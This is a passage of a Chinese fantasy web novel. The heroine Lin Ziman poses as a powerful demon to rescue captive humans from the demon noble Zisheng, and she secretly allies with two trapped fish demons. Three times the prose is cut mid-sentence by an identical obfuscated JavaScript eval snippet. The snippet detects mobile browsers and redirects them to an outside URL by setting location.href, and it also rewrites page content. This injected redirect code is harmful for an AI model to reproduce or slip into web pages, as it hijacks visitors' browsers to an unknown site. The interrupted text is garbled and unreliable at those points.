“姑娘若感兴趣,可进洞一观。”紫衣男子侧过身子,让出一条通往洞穴的路,伸手做了个请的手势,“可惜我们实力不够,暂且不能将其制服,现在只能等他们妖力耗尽。” 林子满笑着说:“那我就去长长见识吧。” 随后微微偏头,看向身后:“这几位是我的好友,此次也是外出与我结伴一道游历的。” 几人会意,相继走了过来。 紫衣男子眼神落在时客手中拎着的昏迷的石云身上,不自觉微微一顿。 林子满随着他的视线望过去,开口道:“那是我在路上捉的人族,你若想要可以送给你,就当礼尚往来了。” 她语气随意,好似一点儿也不在乎。 “我对人族倒是不感兴趣,这次也是奉了父亲的命令,才会出来捉拿他们。先前没注意,让她逃脱了也没发现。”紫衣男子眼神瞥过石云,“不过多一人少一人也没什么太大的关系,就留给姑娘当个乐子吧。” 他一边说着,一边将他们几人迎进了洞穴,路上还不忘将自己介绍了一番,又十分热情地打探起他们的来历。 林子满随意糊弄了几句,只说自己从前一直隐世而居,最近修炼到了瓶颈,才外出游历,寻一个突破的机缘。 自称紫笙的男子听到这儿,眼里的愉悦愈发藏不住了,看来这次真让他撞上大运了,不仅捉住了父亲要的人,还带回了这样一名高深莫测的大妖。 他的眼神落在其余几人身上,也不知这几位实力如何,但他们既然一同游历,想来也不会弱到哪里去。 闲谈间他们已步入洞穴深处,洞内摆放着一颗颗散发着柔和光芒的妖丹,照得这原本阴暗的地下亮如白昼。 因此林子满一眼就看到了角落里那格格不入的一群人,他们身上裹着的兽皮大多已被撕扯得破破烂烂,上面凝固着暗红的血。也不知是被下了药还是打昏了,全都闭目垂首躺在地上。 “这就是你父亲让你捉拿的人族?”林子满有些好奇,“他们是有什么特别之处么,还要你亲自动手?” “这说来实在有些话长。”紫笙犹豫片刻,决定还是不瞒着他们,毕竟若想让他们为己所用,就得让他们看到自己的诚意,以及跟着他能得到的好处。 “方才我也同你们说过,我父亲是灵泽颇有威名的大妖,这话其实不算骄傲自夸,因为他就是当今妖王最宠信的下属,貂王紫昊。” 听到这个名字,时客感觉手下的石云身体一僵,随后整个人都颤抖起来。 他有些奇怪地垂头看去,发现本该假装昏迷的石云不知何时睁开了眼,使劲抬起了头,一双黑亮的眼瞳里满是恨意,恶狠狠地盯着紫笙。 时客一惊,赶忙想要将她藏起来,但显然来不及了,石云这一番动作已经引起了紫笙的注意,朝她看了过来。 见她眼神凶狠地瞪着自己,紫笙先是微微一怔,随后有些好笑地说:“你这么看着我做什么?难不成到现在才发现父亲并不是真心要放你们离开?” “真不知道是该说你单纯,还是人族本就是这么愚蠢的东西。”他语带讥诮,“那个女人也跟你们一样蠢,做人做得太久了,连怎么做妖都不知道了。” “不准你这么说妘娘娘!”石云厉声喝道。 但她如今一幅受制于人的模样,再怎么凶狠看起来也不过是色厉内荏,惹人发笑。 为了防止对方对石云下手,他们原本的计划是让石云一直装晕,等到局势在他们控制之下了再“醒”过来。但谁也没想到她突然来了这么一出,直接打乱了他们的计划。 林子满怕她再这么不管不顾地说下去会惹怒紫笙,连忙出声引走紫笙的注意:“听你们话里的意思,怎么她像是不知道是谁抓的他们?你们先前不是见过吗?” “她是见过我,只不过不知晓我的身份罢了。”紫笙不想跟个毫无反抗之力的人族计较,不再理她,招呼着林子满往洞中摆着的椅塌走去。 这紫笙还真是个会享受的主,将这阴暗的地底弄得有模有样,软椅卧榻一应俱全,中间放着张不知是什么妖兽骨架做成的桌子,上面摆满了美酒吃食。 待众人齐齐落座后,候在两侧的妖侍走上前来为他们斟酒。 说是斟酒,美酒倒了满杯,人却迟迟未退下,反而如无骨的蛇一般攀附在椅侧,双眼秋波盈盈,甚至试探着摸上了他们的肩。 这些妖大多实力不强,便想着靠这种不入流的手段寻求一个可依附的大妖,让自己活得更好些。 林子满觑了眼身旁的男妖,明明身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902860|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长八尺,肌肉虬结,却偏偏生了一张雌雄莫辨的脸,配上那阴柔的气质,有种说不出的怪异感。 似是注意到她的不满,紫笙有些歉意地笑笑:“此次出来得急,没来得及带妖侍,这几个是路上遇见的,姿色难免有些差。林姑娘暂且将就一番,待回了我府上,定让你挑几个合眼的收作妖宠。” 林子满刚想说不必,她没这个爱好,就见秦扬起身走过来,拂袖挥开妖侍斟的酒,提壶重新倒了一杯,双手托着送到她嘴边。 林子满:“???” 这是整哪出? 她不明所以地愣了愣,但见秦扬一直维持着那个姿势,林子满也不好下了他的面子,只能微启双唇,浅浅抿了几口。 本以为他喂完酒就会退开,没想到秦扬搁下酒杯后,无视了林子满疑惑的眼神,顺势坐在了她身侧。 这椅子虽宽敞,但同时塞下两人难免有些挤,因此两人的姿势不自觉就亲密了起来。 这就显得一旁的妖侍有些尴尬了,他手足无措地扒着椅背,却又不想就这样失去讨好一位大妖的机会。 紫笙有些讶异地看着这一幕,这是在宣誓主权? 原以为二人是同伴,没想到是这样的关系,只是这妖宠,未免有些胆子太大了点。 他很快反应过来,挥手令那妖侍退下:“这倒是我考虑不周了,林姑娘有这样的美人伺候,哪还看得上别人?” 有这样一张脸,自然是能恃宠而骄的,即便有些越矩,做了不合身份的事,主人难免也要包容些的。 紫笙看着秦扬,微微有些晃神,原本以为他也是一方大妖,又想收归己用,所以没敢起别的心思。 乍然间知道了真相,难免有些心神荡漾,也不知林姑娘多久会厌倦他,到时候多用几个姿色上乘的去与她换,她应该会同意的吧? 秦扬注意到他的眼神,眼底一暗,浮动起杀意。这样的眼神他见多了,内里的含义再清楚不过,恶心得令人作呕。 坐在首位的人却没有丝毫察觉,紫笙的眼睛黏在秦扬身上转了几圈,到底克制地收了回来,如今林姑娘还颇为看重他,自己还是应以大局为重,莫要为了个玩意儿与他们伤了和气。 他眼珠一转,以为自己摸清了林子满的喜好,语气神秘地说:“其实要说姿色上佳的妖,这洞中不是没有,只是想收作妖宠,还得看诸位有没有那个实力。” 林子满本不欲与他于此事上多言,但听他话里的意思,这洞中还有其他妖力高强的妖? “这话怎么说?难道凭紫笙公子的本领,都奈何不得那妖吗?” 紫笙微微叹了口气:“若非我学艺不精,没法立时得手,也不会在此地逗留几日了。” 说着,他起身引着几人往侧后方走去。 走了好几步,林子满才看清那被几只妖看守着的地方是一处小小的水潭,上方时不时落下一滴水,砸进潭中却悄然无声。 待走得近了,才发现水面上灵光流转,竟是有一层结界。 林子满微讶,这妖都竟还有妖知晓如何结界? 凝神细看,结界之下,一黑一白两条鱼衔尾成环,正不停游动着。 44. 舍弃 这黑白双鱼是紫笙在回程途中遇见的。 当时二妖正化作人形在暗河中戏水,姣好的容颜霎时就让紫笙起了邪念,带着手下一路围追堵截。 这两条鱼妖涉世未深,自出世就从未离开过地下,惊慌失措之下躲回了自己的洞穴,不想还是被追了过来。 二妖无法,只能使出看家本领布下这结界。 紫笙本只是见色起意,若实在无法得手也就算了。可这鱼妖竟能布下如此坚实的结界,于阵法一道肯定有不小的造诣,若能带回去献给妖王或者二王子,他们府上还愁未来没有出路吗? 如此一来,他是怎么都不肯罢休了,这结界虽能抵挡一时,待到他们妖力耗尽,终究会有力竭的一刻,到时候岂不是手到擒来? 但等了这几日,结界却丝毫没有变弱的趋势,即便紫笙有耐心也有能力陪他们耗下去,心里难免会有些没底。 万一这鱼妖恢复妖力的速度极快,这结界能一直坚持下去呢?他总不能在这儿守一辈子吧? 本打算再过几日还是没进展,就派人回去给父亲报信,让父亲想想办法将他们弄出来。偏巧今日碰到了几位不世出的大妖,若他们能助自己活捉这二妖,功劳就能被自己独占,父亲肯定会更加高兴,更为看重他。 但个中内情现在还不宜与外人说,毕竟他还未将这几人收入麾下,若被他们知晓了这鱼妖的重要性,抢了去直接献给妖王,他可就得不偿失了。 因而他并未说自己捉这鱼妖有何用途,只是着重描绘了一番他们化作人形是何等的勾人,好似他只是单纯的见色起意。 “这鱼妖一黑一白,一阴一阳,化作人形便是一对样貌极为出众的双生子。”说到这儿,紫笙又不自觉瞄了眼秦扬,“虽及不上林姑娘身边这位的姿容,却也称得上极为难得了。更何况这鱼妖常年生活在这阴暗地底,肌肤极为细腻白皙,衬着那一双乌溜溜的眼睛,真是别有一番风味。” 他自己是个荤素不忌的,当时一眼瞧见这双生子,便兄妹两个都相中了。就是不知林子满是个什么口味,会不会也看上那母鱼。 不过实力强大的女妖,大多掌控欲极强,喜欢的妖宠也多是些弱不禁风的,这鱼妖肯定是合她心意的。 因此紫笙大方地对林子满说:“若林姑娘有办法破开这结界,我便忍痛割爱,先送与姑娘赏玩一番。只希望姑娘手下留情,留他们一条性命,待厌倦了之后能让我也尝尝鲜。” 他语气轻浮,谈起鱼妖的口吻与驭妖宗那群人提及妖兽时别无二致,都是那般高高在上,好似那一个个鲜活的生命,都是可以随意玩弄抹杀的存在。 林子满心中嫌恶,实在不想与他说话,却又不好表现出来,只能装作受那结界吸引,蹲下身细细查看起来。 轻触水面,波纹荡漾开来,林子满感觉指尖像摸到了一堵坚不可摧的墙壁一般,再难前进分毫。 她惊讶地挑了挑眉,这结界确实十分精妙,不是唬人的花架子,怪不得紫笙在这儿逗留了几日都未曾得手。 不过这倒是个好借口,林子满心下一动,眨眼间便想好了说辞。 “这结界若要强行突破,也不是办不到,只是需要些时日做准备。” 紫笙闻言大喜,又有些迟疑地问:“不知做这准备需要多长时间?” 林子满老神在在:“多则七日,少则四五日。” 紫笙微微松了口气,不过几日时间,这倒是等得起。 “不知姑娘要如何做准备?如果有需要我的地方,可以随时与我说。”他指了指周围随行的妖,“我的这些手下,姑娘也可随意支使。” “不急。”林子满站起身,“这一路走来我也有些累了,先修整一番再说这事也不迟。” “也是,不急、不急!”紫笙殷勤道。 众人又坐回桌前,一边饮酒一边闲聊。 林子满不动声色地引导着话题:“我们是不熟悉去灵泽的路才走这地下暗河,你们带着这群人族,不应该急着回去给你父亲交差么,怎么也从这里走?” “这说来就有些惭愧了。”紫笙有些不好意思地说,“我自小在灵泽长大,从未来过这么偏远的地方,这里山深林茂的,稍有不慎就会迷失方向。带着那群人又不好御风而行,我们在路上兜了几次圈子后,就想着以这沼虫作船返回灵泽或许还快些,否则路途遥远,实在难行。” 林子满有些无语,没想到一群妖在妖都也能迷了路,亏他们当时还猜测那林子里能有些什么古怪。 “你此次捉拿这些人族奉了父命,莫非这小小的人族还能得罪了貂王?” “你们可别小看了这些人族,他们本事大着呢。”紫笙嘲讽地瞥了眼角落里的人,“这么多年都没死绝,时不时还能血脉返祖一两个,妄想给我们找些麻烦。” “最近返祖的是只青狐,长得那叫一个魅惑众生,符合他们一族一直以来的特点。这不,我父亲一时不慎,就受了她的蛊惑,对她听之任之,还允许她将人族养在山上。” “英雄难过美人关,貂王此举也在情理之中。”林子满调侃。 “这倒确实是。美人么,梨花带雨、软声细语地求你几句,谁的心能继续硬下去?”紫笙推己及人,十分赞同地点点头,“不过父亲到底还是明智的,再怎么宠爱那只狐狸,也不会为了个小玩意儿弃整族的前途于不顾。” “妖王撑不了多久了,现今整个妖都最有可能继位的便是二王子,他最是厌恶那些低贱的人族,时常要生啖其肉以泄愤。如此形势下,父亲若再养着那群人族,岂不是摆明了要跟二王子对着干?” “这般明了的局势,那女人偏还看不清,还想仗着父亲的宠爱庇护人族。她顶着个夫人的名头,就真把自己也当主子了,以为能做得了父亲的主。”紫笙嗤笑了声,“父亲虽不像妖王一般有几百位夫人,十几位也还是有的,她不过一时最得父亲喜爱,真以为自己多么了不得了。” “不过她好歹算是青狐一族的血脉,父亲得给妖后个面子,不好明着对她动手,便默许府上早生嫉妒的其他夫人毒杀了她,对外只称她是病逝。” 听到这儿,大概也能猜到后面发生的事了,他们先是假意将府上的人族驱赶走,再派人偷偷将他们重新捉回去,献给二王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902861|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子以示投诚。 这是几方都不得罪啊,林子满内心冷笑。 虽都知道妖王时日无多,可讨好二王子这种事还是不好摆上明面的,大部分都是私下里偷偷进行。貂王身为元老级的下属,更加不能明目张胆地将人族送给二王子,否则极易引起妖王的不满,他还没死呢,这一个个的就开始讨好未来新主了? 而大张旗鼓地将人族赶走,便是为了借此向妖王表露自己的忠心。 哪怕将来是妖后的七王子继位,也寻不到理由苛责他们什么,毕竟人家明面上并未对妘娘下手,甚至看在她的面子上不曾为难过那些人族。 不愧是能混成妖王最宠信下属的貂王,真是打得一手好算盘啊! “你父亲也真是有魄力,如花美眷,说舍弃便舍弃了,难道就没有一丝不舍吗?”林子满不咸不淡地问。 “这有什么不舍的,不过是养了个小玩意儿罢了,丢了还能寻个更好的。”紫笙不在意地摆摆手,“父亲喜欢附庸风雅,学着说些酸人的话,什么情啊爱啊的,但身为妖哪里会懂什么爱?他只是觉得有趣罢了。” “那只青狐也是吃准他这点,陪他玩这无聊的把戏,口口声声说爱他。但我们都清楚,她哪里可能真的会爱父亲,心里怕是恨极了,毕竟她的那些族人都是因父亲而死的。”他回忆着母亲曾与自己说过的事,“当年父亲路过她那处村庄时,恰好心情不好,便召来周围的几个小妖,替他杀人解闷,谁知刚好碰上她血脉返祖了。父亲见着她的妖相来了兴致,想将她带回去做妖宠,便随手替她杀了那几个小妖。那青狐还挺会拿乔,摆出一副宁死不屈的样子,父亲也乐得陪她玩,口口声声说什么愿意等她同意。” “碰了几次壁后父亲便没了耐心,指使手下去袭击了她住的那个村庄,想要吓吓她,让她看清在妖都生存有多不易。本以为还要多来几次她才会就范,没想到就派手下去了一次,她就妥协了。”紫笙说到这儿,有些轻蔑地笑了笑,“还以为有多清高呢,结果都是些贪生怕死之辈。” 被丢在角落的石云愣愣地听着这一切,过了好一阵才缓过神来,胸腔里仿佛灌满了水,心堵得慌。 原来这才是妘娘娘经历的一切,远比他们知道的要沉重得多。 每日面对着杀害自己亲人的妖,还要忍着恨意装出一副柔情蜜意的样子,她该有多痛苦啊,可从未有人听她抱怨过。 妘娘娘才不是怕死的人,她比谁都勇敢。 他们这些躲在妘娘娘身后的人,才是真正的懦夫。 他们靠着妘娘娘忍辱负重才得以过上那般的安稳日子,却在她被害死后连公道都无法替她讨回,还要冠冕堂皇地说些好好活着才不辜负她之类的话。 他们才是贪生怕死的人! 石云静静地躺在地上,不知不觉间已泪流满面。 她这次没再冲动地跳起来怒骂。 骂有什么用呢?根本不会对仇人造成任何伤害,只是没用的废物不想承认自己的无能,装腔作势地宣泄罢了。 她不能再当这样无能的废物,她一定要为妘娘娘做些什么,哪怕只杀一个妖。 45. 禁术 “虽然愚蠢,但那只青狐实在貌美,就这么死了确实还是有些可惜的。”紫笙嘴里还在说些不干不净的话,“当时我也怜惜她,想让父亲饶她一命,赐给我调教调教,可她不领我的情,自己要找死,我还拦她做什么呢?美人嘛,这世界上多得是。” 他压低声音挤眉弄眼道:“若将来当真是二王子做了妖王,青狐一族的那些美人没了依仗,岂不是任人采撷?还怕找不到个更好的么?” “听说青狐族的男子也都是容色倾城,我一直都想见识见识,可惜一直没机会,就连七王子都从不以真面目示人。但想来再过不久,我这个心愿就能实现了,到时候我也为姑娘留意一番,寻个脾气温顺的送与你。” 林子满皮笑肉不笑地扯了扯嘴角:“那真是多谢你的好意了。” “好说好说。”紫笙嘿嘿一笑,又转向时客与莫叶声,“这二位小友若有喜欢的,也尽管与我说,不论男女,我都会想法子为你们寻来。” 时客冷着一张脸,淡淡地瞥了他一眼就算作回应了。 莫叶声则有些尴尬,他毕竟年纪小,乍然听到有人大肆谈及男女之事,难免有些不适应。 见他二人并不热络,紫笙也不在意,这几人中谁是主事的一眼就能看出来,只要巴结好那一位,其余几人只要不得罪就行。 几人围坐在一处,说了好一阵子的话。 将情况大致摸清后,林子满假作有些困顿地揉了揉额角,问紫笙:“这里可还有其他地方供我们小憩片刻?” “有是有,沿着这通道走出去,左侧不远处还有一处小洞可供人歇息。不过那洞远不及这主洞宽敞,诸位不介意的话,在此休息也是一样的。” 林子满站起身来:“不必了,这处洞穴还是让给公子吧,我们去那小洞就好。” 紫笙闻言也不再说什么,妖族的警惕性与防备心都很强,歇息时又是他们最脆弱的时候,极少会有妖愿意与其他不相熟的妖共寝。 林子满走之前本还想将石云也带走,却见她微不可察地对自己摇了摇头,略作思忖后也不再坚持。 她好不容易才找到自己的亲人,此时想守着他们也是人之常情,反正那小洞离这儿也不远,若当真出了什么事也来得及救她。 紫笙将他们带到那处小洞后,又吩咐手下搬来几张软榻,将洞内布置得不次于主洞,待他们安置妥当后便十分自觉地离开了。 林子满走到洞口,确认前后左右都无人后,掏出几枚灵石摆放在地上,一道无形的结界缓缓成形,将洞内外隔绝成两个世界。 几人在塌边坐下,将得来的消息一一进行梳理。 妖都如今的情况与石云先前所说大差不差,妖王寿数将近,二王子势大,连貂王这种身份的大妖都要暗地里讨好他,可见若无其他变故,他成为下一任妖王估计就是板上钉钉的事了。 但他们此行的目的只是为了救出石云的族人,妖都是谁掌权,不是他们能左右的,此事暂且按下不提。 “我们先趁这两日摸清他们的实力与换防规律,到时候最好是能想办法将他们引开,这样才好将那些人救出去。” 林子满垂眼沉思,那两条鱼妖或许能派上大用场。 几人商议了一番,最终决定先轮流值守,观察这群妖的动向。 夜间与白日相比,略微有些冷,这洞穴又深处地下,周边暗河环绕,更是平添了几分寒凉之意。 林子满皱着眉睡得有些不安稳,不知梦到了什么,忽地打了个寒颤,眼睫微动醒转过来。 洞内只余一枚妖丹在幽幽地发着光,林子满捏着眉心坐起来,缓了好一会儿,梦境遗留的虚幻感才缓缓褪去。 她抬头扫了一眼四周,视线定在另一张软榻上,才舒展开的眉头又皱了起来。 洞里少了一个人。 此时,距离此处不远的地面上,匆匆赶来的狐芪单膝跪地,以掌抚额,向自己久未露面的主子行礼。 对面的人裹着一身黑色衣袍,兜帽垂下遮住了大半张脸,只露着一截白皙的下巴,在月色里显出美玉一般的质地。 “母后不是说我去人界的事在事成之前要保密吗?怎么突然将此事散了出来?还传得沸沸扬扬的,大半个妖都都知道了。”黑袍人稍一抬手,示意她起身,“还是说消息是不小心漏出去的?” 狐芪站起身,微微垂着头,不敢直视面前人的脸:“娘娘此举,实属无奈。” “自主子离开妖都,灵泽众妖就逐渐不将狐族放在眼里了,有娘娘震着,倒也不敢翻出什么风浪。但上次妖王进阶失败,颁下那道诏令后,二王子便炙手可热起来,连带着他的母妃也越发嚣张了,那些惯会见风使舵的对娘娘的忌惮都少了几分。那道诏令出来没几日,秋山一脉的青狐便遭了劫,整座山的狐狸都不知所踪,狐洞全被烧毁了。” 秋山与灵泽毗邻而居,相距不过几十里,住的又是妖后母族,向来没有不长眼的妖敢去挑衅惹事,此次却被一窝端了,随便一想便能猜到是灵泽的大妖干的。 “这还只是秋山一脉,若再让二王子这样一家独大下去,保不齐那些借着讨好二王子的名义来满足自己私欲的妖,会对整个妖都的青狐下手。青狐本就子嗣艰难,经此一劫已是元气大伤,即便是整个狐族,也不一定是二王子母族那些鱼妖的对手。” “娘娘没办法,为了震慑他们,只得放出消息,说您早已离开妖都去往人界,将来破除两界阵法的可能比二王子大得多,这才让他们忌惮了几分,不敢再这样肆意妄为。” 黑袍人沉默片刻,倏然一笑,冷声道:“没想到我这个蠢货哥哥,这次竟要踩到我头上来了?” 狐芪听着他话音里的杀意,头皮一紧,忍不住将头垂得更低了。 众妖只知二王子手段残忍,却不知她这位主子发起怒来,才是真的可怕。 夜风呼啸而过,黑袍人理了理兜帽,想起正事来:“我让你带的东西带了吗?” 狐芪赶忙从怀里取出一物递给他。 那是一根通体血红的长针,尖端闪着瘆人的寒芒。 黑袍人接过,撩开衣袖,对着手腕正中慢慢扎了下去。 那长针坚硬如铁,扎入他的腕中却好似被血肉烫化了般,一丝一缕地融进了他体内。 长针入体,黑袍人本就白皙的皮肤几乎可以用惨白来形容了,他的面容隐在阴影里看不清表情,微颤的指尖却暴露了他在遭受着巨大的痛苦。 狐芪忍不住有些担心:“主子这次怎么会解了封印?” 这封印每次施展都极为痛苦,若非十足必要,他不会轻易解开。到底是遇到了什么样的麻烦,才会将他逼入此等境地。 黑袍人并未说话,只是冷冷地瞥了她一眼。 狐芪猛地一惊,冷汗瞬间下来了:“是属下失言。” 黑袍人没理她,微微闭眼平缓着气息。这禁术虽十分伤身体,效果却也是实打实的,若不封住他这一身妖力,即便到时候有那匿符也骗不过阵法。 况且高阶妖族与普通妖族不同,他们生来便身负妖纹,一旦身处灵气充沛的地方,妖纹就会显现出来,自动从周围吸收灵气。 若无这封印,待回到修真界后,他随时有暴露身份的可能。 幸好他们这几日所经之处皆属于妖都边缘地界,灵气稀薄,否则他早就露馅了。 待体内翻涌的气血慢慢平息下来,黑袍人睁开眼:“对了,有件事需要你去办。” . 洞内的妖大多在眯着眼打瞌睡,和一群妖侍喝了一晚上酒的紫笙也醉醺醺地睡着了。 林子满悄悄走到洞穴外,见那两个看门的妖也倒在一旁,不省人事。 她走近细看,发现他们只是昏了过去,应该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902862|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人打晕了他们。 恰在此时,有人沿着河岸走过来。 林子满抬眸,借着暗河散出的莹莹白光,看见来人摘下兜帽,露出一张俊美的脸。 “你去哪儿了?”林子满皱眉,“不是说了先不要轻举妄动,将情况探查清楚再动手吗?” 秦扬不紧不慢地说:“我见他们都睡熟了,就想着出去探探路,看从哪里能直接上到地面。” 林子满转念一想也对,这地下暗河到底不是久留之地,到时候将人救出来,他们就要赶紧回到地面上,让石云带着族人另寻一处安全的地方藏起来。 于是她问道:“那你可有什么发现?” “不远处确实有一处地方可以上到地面。”秦扬指了指暗河,“顺着这条河往下走,距此三四里的地方有一处石窟,那石窟顶上是空的,只长了些繁茂的草木。我上去看过,外面是一处山谷,地形复杂,正适合藏人。” ”如此说来倒确实是个好去处,若被他们追上,也容易逃脱。”林子满眼神瞥向洞口,警惕着洞穴里的动静,“既有了撤离路线,现在只要再想个办法调虎离山,将人救出来就不是难事了。” 秦扬笑着看她:“长老心中不是早就有法子了么。” 虽确实早有打算,但见他一副洞察世事的样子,林子满起了几分好奇,他怎么就知道她心中所想了? 于是她故作疑惑地问:“什么法子?我怎的不知我心中何时有了法子?” 见她装傻充愣,秦扬也不直接戳破,只是状若恍然地叹道:“那看来是我想错了,原来长老是真如那紫笙所言,看上那两只鱼妖了,我还以为长老那般说是有什么深意呢。” 说着他深深叹了口气,用幽怨的眼神瞅着她:“我从前竟不知,原来长老也是会见色起意的人。” 被他那深宫怨妇一般的眼神盯着,林子满有些想笑又有些不自在。 那眼神让她觉得自己就像是那在外偷腥的丈夫回到家,被妻子发现自己做了对不起她的事,于是用委屈幽怨的眼神来表达对她这“负心汉”的谴责。 这种感觉萦绕在心头,说不出的怪异。 林子满尴尬地干咳几声,眼神乱飘,不敢再和他对上,只能实话实说:“你猜的不错,我确实打算利用那双黑白鱼妖将他们引走,只是目前还不知道具体该如何做。” 她语气正经了几分,秦扬也不好再打岔,于是顺着她的话往下说:“不是不知道具体该如何做,而是不知道是不是该那样做吧?” 这下林子满是真有几分惊讶了:“你怎么知道……” “因为我能看透人心啊。”秦扬微微一笑,用着最正经的语气说着玩笑话,“想那样做就去做吧,不用顾虑那么多,若实在出了问题,还有我呢。” 林子满一怔,有些动容。 还有我呢。 这句话她有多久没听到了呢? 不记得了,反正有很久很久了。 自她再次成为孤身一人,做的任何事都不会有人再为她兜底,失败的后果只能由自己一力承担。 因此她又回到了从前那样的状态,在做一个决定之前总要想了又想,衡量自己是否能接受最坏的结果。 而现在,再次有人跟她说,你不要顾虑,放心去做,出了问题还有他。 她不用再束手束脚,担心自己能不能做好,因为不管结果好与坏,都会有人与她一起承担。 林子满其实是有些胆怯的,失去的痛太过刻骨铭心,让她甚至不敢再重新拥有,她怕自己习惯了身侧有人相伴的日子后,又会被打回孤身一人的寂寥。 但看着秦扬眼里温柔的坚定,她心里不知怎么突然又冒出了一点勇气,烧得她浑身的血都暖和了起来,身上好似充满了力量,她情不自禁地说了声“好”。 就这一次,就让她放任自己这么一次就好。 46. 合作 连着几日,林子满都在装模作样地研究那黑白双鱼的结界。 外人不懂其中的门道,见那结界时不时发出一阵耀眼的白光,有时甚至嗡鸣着震颤起来,便以为她当真是在认真破阵,顿时肃然起敬,对他们更加敬畏了几分。 毕竟这结界在紫笙手中毫发无损,这不知名的大妖不过摆弄了几下,那鱼妖就隐隐有要撑不住的架势了,可想而知她的实力有多强! 旁人不知,时客却是能看懂几分的。 他从小在蕉林谷长大,虽志不在此,并未认真学过,耳濡目染之下,对阵法一道也是略知一二的。 林子满根本不是在破阵,反而是在助那双鱼妖将结界筑得更加坚实。 这番动作落在鱼妖眼里,虽猜不到她到底要做什么,也能看出她并无恶意。 毕竟他们俩才是施术者,林子满却能在抵御结界的外侧将其筑得更牢,意味着她于此道上的能力远强于他们,她若真的想破这结界,也是轻而易举的事情。 但她没有这么做,说明她与那些妖并不是一伙的。 终于,在第三日的时候,林子满独自一人蹲在潭边拨弄结界时,发现水面下的两只鱼妖不知何时悄无声息地化作了人形,正仰着脸看着她。 紫笙确实没说大话,这两只鱼妖化作人形后冰肌雪肤、眉目如画,在水中更显得白璧无瑕、楚楚可怜,令人一见便移不开眼。 林子满也是个喜好美色的,不自觉盯着看了好一会儿。 但她眼中并无紫笙那样的邪念,只带着单纯的欣赏,因此并不惹人生厌,鱼妖也并未感觉到冒犯,所以只是疑惑地回望过去。 林子满这才反应过来,不动声色地扫了眼四周,见无人注意到自己,才调动起一丝灵力,将自己想说的话传音入密送至他们耳边。 待理解了她话中的意思,两只鱼妖微微睁圆了眼睛,嘴唇微动,无声地说了几个字。 ——你说的是真的吗? 林子满点点头,见他们仍有顾虑,保证道:“你们只需将他们引开,拖住个一时半刻便好,我到时候也会假装一同去追捕你们,不会让他们伤到你们的。” 她最初的想法便是与他们开诚布公地谈一谈,将自己的来意与他们说清楚,希望双方能够合作,他们将紫笙一行引走,她助他们逃脱。 但她先前一直在犹豫要不要这么做,一来是担忧他们不信任她,不愿与她合作。二来是怕更坏的结果,他们若假意与她合作,事后反悔转投紫笙,那他们就十分被动了。 他们几人自然是有能力脱身,但石云与她的族人处境就十分危险了。一旦她决策失误,要搭上的可能就是几十个人的性命,所以她才迟迟未下决定。 好在目前看来,事情似乎并没有朝着坏的方向发展。 二妖犹豫片刻,对视一眼后,眼中流露出几分坚毅,齐齐点了点头。 如今他们躲在这水潭中,那些妖因着结界无法得手,他们看似占了上风,其实处境十分危险。 这结界即便再无坚不摧,也终有被强行破开的危险,不说其他,眼前这女子便能做到。 她的目的不在于他们,所以未对他们下手。 万一那些妖又找来一个实力这般强大的,他们俩岂不都只有死路一条? 还不如拼一把,哪怕只逃出这洞穴也好! 外面就是暗河,水里是他们的天下,逃脱的可能性大大增加。即使再被追上,拼着性命不要,也定要助对方逃出去! 就这般商议好后,林子满看着他们重新变回鱼,继续衔尾而游,速度却明显快了几分。 林子满故意提高音量,“啊呀”了一声,引起周围群妖的注意。 紫笙闻声快步走来:“怎么了?发生什么事了?” “没什么,只是有些激动罢了,这结界撑不了多久了。”林子满笑眯眯地说,伸手指了指水潭。 紫笙垂头望去,只见原本从容不迫的两条鱼妖,不知为何游动得急切了起来,颇有些垂死挣扎的意味。而那结界也不如最初那般稳固,连山洞上方滴落的水珠都能将其引得一阵轻颤。 紫笙大喜,看来这结界当真要破了! “林姑娘果真神力无双,不过短短三日,这鱼妖就撑不住了!” “我倒也没有你说的这般厉害。”林子满故作谦虚地摆摆手,“这双鱼妖到底还是稚嫩了些,布下的结界也不如看起来那般牢固,否则就算给我几个月时间,也是束手无策的。” “姑娘何必妄自菲薄,这结界我们试过无数法子,都奈何不得,你一出手它便要破了,可见姑娘的实力远在我们这些所谓的大妖之上。”紫笙语气里不自觉多了几分讨好,“到时候我将你引荐给父亲,他定会将你奉为座上宾,以姑娘的能力,在灵泽必能大有一番作为!” “这个到时候再说吧。”林子满对此好似并不热衷,伸个懒腰舒展了一下筋骨,“今日也晚了,这结界明日再破吧,忙了一日也累了。” 她踱步到桌边坐下,提壶斟了杯酒,边喝边说:“来喝酒啊,这结界要破了难道不是件值得庆祝的事吗?” 